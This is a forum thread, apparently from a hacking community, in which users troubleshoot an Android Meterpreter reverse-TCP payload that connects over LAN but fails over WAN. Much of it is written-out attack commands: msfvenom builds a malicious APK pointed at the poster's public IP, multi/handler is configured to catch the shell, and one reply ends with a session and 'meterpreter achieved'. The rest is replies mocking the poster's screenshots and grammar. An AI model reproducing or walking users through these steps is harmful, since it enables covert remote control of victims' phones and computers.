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Is it because of av detected the payload? I need more info.


Q1: What u need

its work fine in lan

but when i try it out lan booooooooooom'

Like on wan it doesn't work?

It works fine on my local network
but over WAN it's not working

Do you have port forwarding?

msfvenom -p android/meterpreter/reversetcp LHOST={MY PUBLIC IP ADRESS} LPORT=4444 R >/root/FILENAME.apk

and then install it on my phone

I start the meterpreter listener

use exploit/multi/handler
set payload android/meterpreter/reversetcp
set LHOST *** //local ip
set LPORT 4444

try port 8080

not working not working

oh i see

You have to use the same ip for both the apk and the handler

fx msfvenom -p windows/meterpreter/reversetcp lhost=192.168.1.XXX lport = 4444 R> /root/FILENAME.apk

use multi/handler
set lhost 192.168.1.XXX
set lport 4444
exploit -j or just exploit
sessions -i 1
meterpreter achieved


I suppose this is too advanced for someone who doesnt know how to screenshot, type a proper title or write an actual question.

Yeah, "takes screenshot with actual camera" is usually a pretty reliable indicator of lack of computer prowess. And a single, vowel-less "word" as a title probably indicates other areas of lacking as well.

Download metasploit v4.11.7 from github and install
It works fine with cellular network

And I guess your target is on cellular network

  1. Learn what a screenshot is.
  2. Instead of sloppily scratching all over image in paint, go into a photo editor and just put black bars over sensitive information.
  3. Next time, include more information in your actual question and use grammar.

Nvm lol

You better watch your words or he'll haXX0r you!


I can't really help him if I am unable to make out what the problem even is.

This isn't a competition to see who the best hacker is, it's about helping others out and practicing proper etiquette.

I see. I had a misinterpretation due to your colloquial language.

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